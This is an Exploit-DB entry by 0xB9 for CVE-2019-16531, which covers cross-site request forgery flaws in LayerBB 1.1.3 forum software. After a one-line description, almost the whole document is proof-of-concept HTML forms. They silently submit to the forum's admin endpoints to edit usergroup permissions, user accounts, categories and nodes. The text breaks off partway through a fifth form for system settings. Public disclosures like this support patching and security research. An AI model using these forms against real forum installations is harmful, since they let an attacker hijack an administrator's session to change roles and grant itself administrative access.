Exploit-DB #47403
Description: LayerBB < 1.1.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2019-09-20
Author: 0xB9

Exploit:
# Exploit Title: LayerBB 1.1.3 - Multiple CSRF
# Date: 4/7/2019
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://forum.layerbb.com/downloads.php?view=file&id=30
# Version: 1.1.3
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-16531


1. Description:
LayerBB is a free open-source forum software, multiple CSRF vulnerabilities were found such as editing user profiles and forums.


2. Proof of Concepts:

<!-- Edit Usergroup CSRF -->
<form action="http://localhost/admin/edit_usergroup.php/id/1" method="POST" style="padding: 25px;">
    <label for="g_name">Name</label>
    <input type="text" name="g_name" id="g_name" value="User" class="form-control">
    <label for="g_style">Style <small><code>%username%</code> will be replaced with the user's username.</small></label>
    <textarea name="g_style" id="g_style" class="form-control"><span>%username%</span></textarea>
    <label for="b_style_s">Banner Style Start</label>
    <textarea name="b_style_s" id="b_style_s" class="form-control"><span class="label label -default"></textarea>
    <label for="b_style_e">Banner Style End</label>
    <textarea name="b_style_e" id="b_style_e" class="form-control"></span></textarea>
    <label for="permissions">Permissions</label><br>
    <input type="checkbox" name="permissions[]" value="1" checked=""> view_forum<br><input type="checkbox" name="permissions[]" value="2" checked=""> create_thread<br><input type="checkbox" name="permissions[]" value="3" checked=""> reply_thread<br><input type="checkbox" name="permissions[]" value="4"> access_moderation<br><input type="checkbox" name="permissions[]" value="5"> access_administration<br>
    <br>
    <input type="checkbox" name="is_staff" value="1"> This Usergroup is staff.
    <br>
    <input type="submit" name="update" value="Save Changes" class="btn btn-default">
</form>
<!-- Edit Usergroup CSRF End -->

<!-- Edit User CSRF -->
<form action="http://localhost/admin/edit_user.php/id/1" method="POST" style="padding: 25px;">
    <label for="username">Username</label>
    <input type="text" name="username" id="username" value="Administrator" class="form-control">
    <label for="email">Email Address</label>
    <input type="text" name="email" id="email" value="demo@layerbb.com" class="form-control">
    <label for="usermsg">User Message</label>
    <input type="text" name="usermsg" id="usermsg" value="User" class="form-control">
    <label for="signature">User Signature</label>
    <textarea id="editor" name="signature" class="form-control" style="min-height:250px;"></textarea>
    <label for="disabled">User Activated</label><br>
    <input type="radio" name="disabled" value="0" checked=""> Do Not Change<br>
    <input type="radio" name="disabled" value="0"> Active<br>
    <input type="radio" name="disabled" value="1"> Disabled<br>
    <br>
    <label for="usergroup">Usergroup</label><br>
    <select name="usergroup" id="usergroup" style="width:100%;">
    <option value="4" selected="">Dont Change</option>
    <option value="1">User</option><option value="2">Banned</option><option value="3">Moderator</option><option value="4">Administrator</option>
    </select><br><br>
    <input type="submit" name="update" value="Save Changes" class="btn btn-default">
</form>
<!-- Edit User CSRF End -->

<!-- Edit Category CSRF -->
<form action="http://localhost/admin/edit_category.php/id/1" method="POST" style="padding: 25px;">
    <label for="cat_title">Title</label>
    <input type="text" name="cat_title" id="cat_title" value="First Category" class="form-control">
    <label for="cat_desc">Description</label>
    <textarea name="cat_desc" id="cat_desc" class="form-control">First category on this forum!</textarea>
    <br>
    <label for="allowed_usergroups">Allowed Usergroups</label><br>
    <input type="checkbox" name="allowed_ug[]" value="0" checked=""> Guest<br><input type="checkbox" name="allowed_ug[]" value="1" checked=""> User<br><input type="checkbox" name="allowed_ug[]" value="2"> Banned<br><input type="checkbox" name="allowed_ug[]" value="3" checked=""> Moderator<br><input type="checkbox" name="allowed_ug[]" value="4" checked=""> Administrator<br>
    <br>
    <input type="submit" name="update" value="Save Changes" class="btn btn-default">
</form>
<!-- Edit Category CSRF End -->

<!-- Edit Node CSRF -->
<form action="http://localhost/admin/edit_node.php/id/1" method="POST" style="padding: 25px;">
    <label for="cat_title">Title</label>
    <input type="text" name="node_title" id="cat_title" value="First Node" class="form-control">
    <label for="cat_desc">Description</label>
    <textarea name="node_desc" id="cat_desc" class="form-control">The first node on this forum</textarea>
    <label for="parent">Parent</label><br>
    <select name="node_parent" id="parent" style="width:100%;">
    <option value="1" selected="">First Category</option>
    </select>
    <br>
    <label for="additional_option">Additional Options</label><br>
    <input type="checkbox" name="lock_node" value="1" id="lock_node"> <label style="font-weight: normal;" for="lock_node">Lock Node</label>
    <br>
    <label for="allowed_usergroups">Allowed Usergroups</label><br>
    <input type="checkbox" name="allowed_ug[]" value="0" checked=""> Guest<br><input type="checkbox" name="allowed_ug[]" value="1" checked=""> User<br><input type="checkbox" name="allowed_ug[]" value="2"> Banned<br><input type="checkbox" name="allowed_ug[]" value="3" checked=""> Moderator<br><input type="checkbox" name="allowed_ug[]" value="4" checked=""> Administrator<br>
    <label for="labels">Labels</label> <small>Each Line is a new label. HTML enabled.</small>
    <textarea name="labels" id="labels" class="form-control"></textarea><br>
    <input type="submit" name="update" value="Save Changes" class="btn btn-default">
</form>
<!-- Edit Node CSRF End -->

<!-- System Settings CSRF -->
<form action="http